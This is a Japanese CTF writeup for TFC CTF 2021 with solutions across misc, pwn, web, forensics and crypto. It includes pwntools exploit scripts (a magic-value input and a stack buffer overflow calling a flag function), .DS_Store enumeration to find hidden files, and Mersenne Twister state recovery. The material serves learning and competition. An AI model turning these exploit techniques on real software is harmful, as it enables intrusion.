TFC CTF 2021 Writeup

この大会は2021/11/26 21:00(JST)~2021/11/28 21:00(JST)に開催を
予定していたようですが、2021/11/27 21:00(JST)頃には
DDoSを受けたようで、終了になりました。
今回もチームで参戦。結果は3305点で453チーム中10位でした。
もう1問、nc接続して解く暗号問題がほぼ解けていたのですが、
接続できなかったので、残念でした。
自分で解けた問題をWriteupとして書いておきます。

RULES (MISC)

ルールのページにフラグの例が書いてあった。

TFCCTF{Fl4Gs_f0r_3v3ry0n3!!!^@&#@$?~:}

WEIRD FRIEND (MISC)

問題文の"quick response"からQRコードと推測する。29×29に整形する。

$ cat qr.txt
11111110011101100100001111111
10000010000110100110101000001
10111010011100111001001011101
10111010101101000000001011101
10111010101010001101001011101
10000010011000101100001000001
11111110101010101010101111111
00000000010010000000100000000
11000111011011010100000011000
00100100001000110001010110101
11000110110110011110010111100
10100101001100110000001011011
10011111011010111011011100111
11010100001011111001011111000
01110110110001111010110100000
00100001000000001011110101100
01000010100101100110000110000
10111101010101011110110111000
11011010111110011101000011001
10011001010100101001111001000
10010010111011000101111111100
00000000101100010011100010011
11111110101010010110101011100
10000010101010000001100011011
10111010010100110001111110000
10111010010110111110110101001
10111010011000011100000111110
10000010100100100001101011101
11111110101111100101000000100
$ python sqrd.py qr.txt
TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}
TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}

LOST MY HEAD (MISC)

画像にあるごみ箱の前のストリートの名前、番号を答える。

$ exiftool img.heic
ExifTool Version Number         : 10.80
File Name                       : img.heic
Directory                       : .
File Size                       : 945 kB
File Modification Date/Time     : 2021:11:26 22:32:45+09:00
File Access Date/Time           : 2021:11:26 23:47:23+09:00
File Inode Change Date/Time     : 2021:11:26 22:32:45+09:00
File Permissions                : rwxrwxrwx
File Type                       : HEIC
File Type Extension             : heic
MIME Type                       : image/heic
Major Brand                     : High Efficiency Image Format HEVC still image (.HEIC)
Minor Version                   : 0.0.0
Compatible Brands               : heic, mif1
Handler Type                    : Picture
Primary Item Reference          : 31
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
Camera Model Name               : iPhone 12
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 15.1
Host Computer                   : iPhone 12
Tile Width                      : 512
Tile Length                     : 512
Exposure Time                   : 1/33
F Number                        : 1.6
Exposure Program                : Program AE
ISO                             : 500
Exif Version                    : 0232
Date/Time Original              : 2021:11:25 17:41:55
Offset Time                     : +02:00
Offset Time Original            : +02:00
Offset Time Digitized           : +02:00
Shutter Speed Value             : 1/33
Aperture Value                  : 1.6
Brightness Value                : -0.3018521991
Exposure Compensation           : 0
Metering Mode                   : Multi-segment
Flash                           : Off, Did not fire
Focal Length                    : 4.2 mm
Subject Area                    : 2009 1503 2208 1327
Run Time Flags                  : Valid
Run Time Value                  : 196815055666625
Run Time Scale                  : 1000000000
Run Time Epoch                  : 0
Acceleration Vector             : -0.0121414857 -0.8878740665 -0.4428345858
Sub Sec Time Original           : 077
Sub Sec Time Digitized          : 077
Color Space                     : Uncalibrated
Exif Image Width                : 4032
Exif Image Height               : 3024
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Exposure Mode                   : Auto
White Balance                   : Auto
Focal Length In 35mm Format     : 26 mm
Lens Info                       : 1.549999952-4.2mm f/1.6-2.4
Lens Make                       : Apple
Lens Model                      : iPhone 12 back dual wide camera 4.2mm f/1.6
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Speed Ref                   : km/h
GPS Speed                       : 2.130000115
GPS Img Direction Ref           : True North
GPS Img Direction               : 49.8644981
GPS Dest Bearing Ref            : True North
GPS Dest Bearing                : 49.8644981
GPS Horizontal Positioning Error: 10.24652737 m
XMP Toolkit                     : XMP Core 6.0.0
Create Date                     : 2021:11:25 17:41:55.077
Creator Tool                    : 15.1
Modify Date                     : 2021:11:25 17:41:55
Composite Image                 : 2
Date Created                    : 2021:11:25 17:41:55.077
Profile CMM Type                : Apple Computer Inc.
Profile Version                 : 4.0.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2017:07:07 13:22:32
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Apple Computer Inc.
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Apple Computer Inc.
Profile ID                      : ca1a9582257f104d389913d5d1ea1582
Profile Description             : Display P3
Profile Copyright               : Copyright Apple Inc., 2017
Media White Point               : 0.95045 1 1.08905
Red Matrix Column               : 0.51512 0.2412 -0.00105
Green Matrix Column             : 0.29198 0.69225 0.04189
Blue Matrix Column              : 0.1571 0.06657 0.78407
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Image Width                     : 2268
Image Height                    : 3023
Image Spatial Extent            : 2268x3023
Rotation                        : 0
Image Pixel Depth               : 8 8 8
Movie Data Size                 : 965562
Movie Data Offset               : 2491
Aperture                        : 1.6
GPS Altitude                    : 340 m Above Sea Level
GPS Latitude                    : 46 deg 46' 50.74" N
GPS Longitude                   : 23 deg 36' 54.26" E
GPS Position                    : 46 deg 46' 50.74" N, 23 deg 36' 54.26" E
Image Size                      : 2268x3023
Megapixels                      : 6.9
Run Time Since Power Up         : 2 days 6:40:15
Scale Factor To 35 mm Equivalent: 6.2
Shutter Speed                   : 1/33
Create Date                     : 2021:11:25 17:41:55.077+02:00
Date/Time Original              : 2021:11:25 17:41:55.077+02:00
Modify Date                     : 2021:11:25 17:41:55+02:00
Circle Of Confusion             : 0.005 mm
Field Of View                   : 69.4 deg
Focal Length                    : 4.2 mm (35 mm equivalent: 26.0 mm)
Hyperfocal Distance             : 2.27 m
Light Value                     : 4.1

Google Mapで「46°46’50.74″N 23°36’54.26″E」を検索する。

Strada Simion Mușat 4
TFCCTF{Simion_Musat_4}

SECRET (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Tell me a secret");
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  fgets((char *)&local_28,0x20,stdin);
  if (((int)local_28 == -0x55443323) && (local_28._4_4_ == -0x55443323)) {
    puts("hmm, interesting");
    system("cat flag");
    putchar(10);
  }
  else {
    puts("I have already heard that one, sorry");
  }
  return 0;
}

32bitの整数0xaabbccddの文字列変換したものを2つ入力すればよい。

from pwn import *

p = remote('secret.challenge.ctf.thefewchosen.com', 1337)

payload = p32(0xaabbccdd) * 2

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to secret.challenge.ctf.thefewchosen.com on port 1337: Done
== proof-of-work: disabled ==
Tell me a secret
��\xbb\xaa��\xbb\xaa
hmm, interesting
TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!}
[*] Closed connection to secret.challenge.ctf.thefewchosen.com port 1337
TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!}

SANTA (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("What are you wishing for?\n");
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  __isoc99_scanf(&DAT_00402028,&local_38);
  return 0;
}

void flag(void)

{
  system("cat flag");
  return;
}

BOFでflag関数をコールする。

$ gdb -q ./santa
Reading symbols from ./santa...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/santa 
What are you wishing for?

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dce560 --> 0x7ffff7dca580 --> 0x7ffff7b978e1 --> 0x636d656d5f5f0043 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x1 
RDI: 0x0 
RBP: 0x4147414131414162 (b'bAA1AAGA')
RSP: 0x7fffffffde68 ("AcAA2AAHAAdAA3A"...)
RIP: 0x4011dd (<main+120>:	ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x40202a --> 0x403b031b010000 
R12: 0x401070 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf40 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x00000000004011dd in main ()
gdb-peda$ patto AcAA2AAHAAdAA3A
AcAA2AAHAAdAA3A found at offset: 56

$ ROPgadget --binary ./santa | grep ": ret"
0x0000000000401016 : ret
0x0000000000401062 : retf 0x2f
from pwn import *

if len(sys.argv) == 1:
    p = remote('santa.challenge.ctf.thefewchosen.com', 1337)
else:
    p = process('./santa')

elf = ELF('./santa')

flag_addr = elf.symbols['flag']
ret_addr = 0x401016
offset = 56

payload = 'A' * offset
payload += p64(ret_addr)
payload += p64(flag_addr)

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to santa.challenge.ctf.thefewchosen.com on port 1337: Done
[*] '/mnt/hgfs/Shared/santa'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
What are you wishing for?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16@\x00\x00\x00\x11\x00\x00\x00

TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu}
[*] Closed connection to santa.challenge.ctf.thefewchosen.com port 1337
TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu}

MACDONALDS (WEB)

サーバはMacBookのようなので、http://server.challenge.ctf.thefewchosen.com:1339/.DS_Storeにアクセスしてみる。

$ wget http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store
--2021-11-27 04:47:48--  http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 8196 (8.0K)
`.DS_Store' に保存中

.DS_Store           100%[==================>]   8.00K  --.-KB/s    時間 0s    

2021-11-27 04:47:49 (20.2 MB/s) - `.DS_Store' へ保存完了 [8196/8196]

$ file .DS_Store
.DS_Store: Apple Desktop Services Store

https://w-e-b.site/?act=dsstoreでファイルリストを見てみる。

Found files:

Count:  11
index.php
secrets
secrets
secrets
secrets
secrets
secrets
secrets
style.css
style.css.map
style.scss

今度はsecretsの下を見てみる。

$ wget http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store
--2021-11-27 04:55:05--  http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 6148 (6.0K)
`.DS_Store.1' に保存中

.DS_Store.1         100%[==================>]   6.00K  --.-KB/s    時間 0s    

2021-11-27 04:55:06 (745 MB/s) - `.DS_Store.1' へ保存完了 [6148/6148]

再びhttps://w-e-b.site/?act=dsstoreでファイルリストを見てみる。

Found files:

Count:  1
5973b4cc1d61c110188ee413cddb8652.php

このphpにアクセスしてみる。

$ curl http://server.challenge.ctf.thefewchosen.com:1339/secrets/5973b4cc1d61c110188ee413cddb8652.php
TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}
TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}

AAAAA (FORENSICS)

$ binwalk AAAAA 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2000          0x7D0           PNG image, 1890 x 1417, 8-bit/color RGB, non-interlaced
2062          0x80E           Zlib compressed data, default compression

AAAAAファイルの中にpngが含まれている。

$ foremost AAAAA
Processing: AAAAA
|*|

抽出したPNGファイルにフラグが書いてあった。
f:id:satou-y:20211130075450p:plain

TFCCTF{Gr4phic_d35ign_is_my_p455ion}

UH, SUSSY BAKKA (FORENSICS)

USBキーボードの通信らしい。

Leftover Capture Dataの並びを見て推測する。
8バイトのデータで以下の箇所を確認してキーを判定する。

・0バイト目:00->シフトキー押下なし、02->シフトキー押下あり
・2バイト目:対応するキーのコード
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('chall.pcapng')

flag = ''
for p in packets:
    buf = p['Raw'].load
    if len(buf) == 48 and buf[42] != '\x00':
        if buf[40] == '\x00':
            flag += keymap[ord(buf[42])][0]
        elif buf[40] == '\x02':
            flag += keymap[ord(buf[42])][1]

print flag
TFCCTF{w4lt3r_y0u_su55y_b4k4!Why_ar3_y0u_h1d1ng_und3rn34th_my_d3sk}

SEA LANGUAGE 1 (CRYPTO)

モールス信号。https://morsecode.world/international/translator.htmlでデコードする。

WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?
TFCCTF{WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?}

SEA LANGUAGE? 2 (CRYPTO)

8個の._でコードになっているので、2進数としてデコードする。

with open('sl2.txt', 'r') as f:
    enc = f.read()

enc = enc.replace('\n', '').replace('.', '0').replace('_', '1')
enc = enc.split(' ')

flag = ''
for c in enc:
    flag += chr(int(c, 2))
print(flag)
TFCCTF{w417_4_m1nu73..._7h15_1s_n07_m0rs3!!!!!r1gh7?}

AM I DOING IT RIGHT? (CRYPTO)

公開鍵を読み取り、nを素因数分解する。

n = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861**2
p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
phi = p * (p - 1)

あとはそのまま復号する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import re

with open('public.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
assert n == p ** 2

with open('chall.enc', 'rb') as f:
    c = bytes_to_long(f.read())

phi = p * (p - 1)
d = inverse(e, phi)
m = pow(c, d, n)

pattern = '(TFCCTF{.*})'
flag = long_to_bytes(m)
m = re.search(pattern, flag)
flag = m.group(1)
print(flag)
TFCCTF{1_w0n7_4dm1t_h0w_l0ng_th1s_t00k_4_me...congrats,tho!}

KH5YHLZVJP (CRYPTO)

暗号化の処理概要は以下の通り。

・4回4096ビットランダム整数を改行区切りで書き込む。
・次の4096ビットランダム整数を文字列として、先頭512バイトとflagをXORをとる。
・XORの結果をbase64エンコードして出力する。

Mersenne Twisterの特性を使った問題。r[i]をi回目の32bit整数として、32bitずつに区切って考える。

1回目ランダム整数
r[127] r[126] ... r[1] r[0]

2回目ランダム整数
r[255] r[254] ... r[129] r[128]

3回目ランダム整数
r[383] r[382] ... r[257] r[256]

4回目ランダム整数
r[511] r[510] ... r[385] r[384]

次のランダム整数
r[639] r[638] ... r[512] r[513]

Mersenne Twisterの特性から以下の通りの入力・出力の関係がある。

r[0], r[1], r[397] -> r[624]
    :
r[15], r[16], r[412] -> r[639]

この範囲でXORキーを出して、復号する。

#!/usr/bin/python3
import base64
from Crypto.Util.strxor import strxor

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

def temper(st):
    y = st
    y ^= y >> 11
    y ^= (y << 7) & 0x9d2c5680
    y ^= (y << 15) & 0xefc60000
    y ^= y >> 18
    return y

with open('c.out', 'r') as f:
    lines = f.read().splitlines()

secret = base64.b64decode(lines[4].split(': ')[1])

st = []
for i in range(4):
    n = int(lines[i])
    for j in range(4096 // 32):
        st.append(untemper((n >> (j * 32)) & 0xffffffff))

new_st = [-1] * 16
for i in range(16):
    n = st[i] & 0x80000000
    n += st[(i+1) % 624] & 0x7fffffff
    new_st[i] = st[(i+397) % 624] ^ (n >> 1)
    if n % 2 != 0:
        new_st[i] ^= 0x9908b0df

key = 0
for i in range(16):
    key *= 2**32
    key += temper(new_st[15 - i])

key *= 2**(4096 - 32 * 16)

flag = strxor(secret, str(key)[:512].encode()).decode()
flag = flag[:flag.index('}') + 1]
print(flag)
TFCCTF{1n53cur3_rng_15_th3-d0wnf4ll-_0f_m4ny_4pp5.f0ll0w_fsociety}